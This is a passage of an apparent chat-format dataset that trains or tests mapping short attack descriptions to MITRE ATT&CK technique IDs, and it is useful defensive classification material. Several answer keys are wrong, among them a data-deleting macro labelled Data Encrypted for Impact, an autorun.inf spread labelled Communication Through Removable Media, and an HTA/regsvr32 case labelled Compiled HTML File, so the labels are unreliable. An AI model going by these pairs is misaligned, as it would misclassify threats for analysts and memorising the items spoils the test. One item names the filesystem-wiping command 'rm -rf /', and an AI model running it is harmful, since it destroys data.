            },
            {
                "role": "user",
                "content": "An attacker leverages the OS Credential Manager API to retrieve stored web credentials from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals schedule automated snapshots of target cloud instances to capture system state before detection."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group disguises malicious PowerShell scripts by embedding them within the pixel data of PNG images hosted on a compromised web server."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a malicious compiled HTML application to proxy execution of regsvr32.exe, using the HTA file to load and run a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs a low-level wipe of the disk's file system structures, removing all directory entries."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the Safari browser's plist configuration to inject malicious URLs."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies a malicious script that calls 'rm -rf /' on a compromised Unix server, attempting to wipe the entire filesystem."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses WMI to invoke a command that adds a local user called \"tempAdmin\"."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a crafted CHM document that calls system binaries to run malicious scripts, employing the System Binary Proxy Execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the malicious actor limits attempts to three per account per hour to avoid lockouts."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is executed after the attacker modifies the ServiceDLL registry entry permissions, allowing a low‑privileged process to overwrite the DLL."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a tool like Rubeus, the threat actor harvests AS‑REP data from Active Directory for accounts without pre‑auth, aiming to derive clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage PowerShell's New-Service cmdlet to register a service that runs a malicious payload at system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware collects the list of loaded kernel drivers via the NtQuerySystemInformation API."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gains SSH access to a misconfigured virtual private server through brute‑force of weak credentials, establishing persistence via a cron job."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By reusing stolen temporary security tokens from an expired session, the threat actor gained continued access to AWS resources."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modified the default domain policy to set the password complexity requirement to 'none' using malicious GPO scripts."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queried the Windows registry hive HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall to harvest a catalog of installed applications."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the init script /etc/rc.d/rc.local to automatically start a network beacon at logon."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a script that runs regasm.exe to register a harmful assembly, allowing the attacker to run code without using native executables."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors use a remote script to encrypt all files in shared network folders and then demand a ransom for the key."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers perform a domain hijacking by exploiting weak two‑factor authentication on the domain registrar account."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage the Windows API CredEnumerate to dump passwords from the Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A suspicious XSLT file was found in the server's file system; analysis suggests it was used to execute OS commands during XML processing."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a staged payload where the first stage downloads a second‑stage binary via DNS tunneling before executing it."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor runs commands that remove existing backup files and disables backup agents on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a JavaScript-based malware that hooks into the Chromium embedded framework to capture credentials from the browser's password vault."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software enumerates video input devices and records 30‑second video snippets for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries encode configuration data using standard Base64 encoding prior to embedding it in scripts."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages firmware flashing tools to overwrite the system's boot ROM with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Kerberoasting, the adversary queries the domain controller for SPNs, captures the TGS tickets, and performs offline brute‑force attacks to recover the service account password."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor manipulates the Windows process hierarchy by orphaning its payload, causing it to inherit the trusted process identifier and evade process monitoring."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware writes ransom notes in UTF‑16LE, then applies a custom bitwise NOT operation to each byte before sending to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages the Windows API to record the entire desktop and sends the bitmap data to a remote host."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder scripts the SharePoint Graph API to batch download documents containing intellectual property."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link that, when clicked, runs a PowerShell command to launch a Python script for credential theft."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers search the registry for evidence of security tools by checking the SecurityCenter2 subkey."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hosted a malicious JavaScript exploit kit on a compromised website, which automatically downloaded a payload to visitors' browsers without any interaction."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use chunked HTTP POST requests, each under the 1 MB size restriction, to upload confidential documents."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses voice phishing to trick the victim into providing corporate network credentials during a simulated security audit call."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses odbcconf.exe to load a malicious provider DLL, achieving proxy execution of a system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor writes keylog files to a remote Google Drive folder before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post‑exploitation, the actor scripts the creation of a backdoor admin account in the victim's AWS organization."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant tunnels its payload over legitimate BitTorrent traffic to bypass firewalls."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the creation, modification, and access timestamps of files to make them appear older and avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool executes a port scan on the 10.0.0.0/16 range to map running MySQL instances."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware developers embed junk data within a compressed archive to frustrate signature-based detection."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware component sets up a rogue TFTP service that provides a tampered bootloader, enabling persistence before the operating system starts."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder compromises an existing employee's email account and then creates additional hidden aliases for persistence."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a scheduled task that invokes \"sc.exe create\" to install a hidden service that executes a PowerShell script with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies itself to the System32 folder and renames it to svchost.exe to blend in with system processes."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employed \"kubectl exec\" to execute a privilege escalation exploit targeting the container runtime."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using AppleScript, the attacker adds a malicious application to the Login Items of the current user, achieving persistence by executing the app on every system startup."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary distributes a malicious auto-run.inf file on thumb drives to gain execution on any Windows machine where the drive is inserted."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware silently grabs screenshots when the user opens confidential documents and emails them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware developers produce counterfeit code signing certificates using stolen private keys to legitimize their tools."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan extracts the list of installed programs by calling the Win32_Product WMI class."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs passive network monitoring by placing a rogue device on the switch to listen to traffic."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a privilege escalation flaw to read the SAM file directly from disk."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor deletes a Google Compute Engine instance by invoking the compute.instances.delete method via the GCP API."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages a compromised admin account to enable mailbox export through the Exchange Management Shell, pulling all emails to a staging folder."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary encodes exfiltrated files with hexadecimal representation to conceal their true nature."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used a compromised cloud dashboard to export Kubernetes secret objects from the victim's EKS cluster."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool encodes exfil data with a home‑grown Base64 variant that uses a shuffled alphabet, then sends via SMTP."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor disables the Windows 'Turn off hard disk after' setting by editing the corresponding power plan XML, ensuring disks remain active for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses Windows Script Host to run a hidden JScript file that proxies the execution of a payload, masking its activity."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary configures an Outlook rule that copies all incoming attachments to a network share accessible by the threat actor."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a Windows Installer custom action that calls a PowerShell script, then triggers the action by executing msiexec /i compromised.msi /quiet, leveraging msiexec as a proxy for script execution."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the adversary sets up an SSH key pair and adds the public key to authorized_keys for persistent access."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the VBA project of a Word document, stomping over existing macros to hide the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool packages keylogger output and transmits it over unencrypted WebSocket connections to a malicious endpoint."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors register new Instagram accounts to use the platform’s messaging feature for command and control."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor copies harvested documents to a concealed folder on the victim's local system before transmitting them out."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used the legitimate cloud storage sync client to silently upload a credential dumping utility to the target environment."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A destructive macro in a Word document deletes all user profile data on opening."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software uses SSH on port 2222 instead of the default port 22 to maintain persistence and hide its communications."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
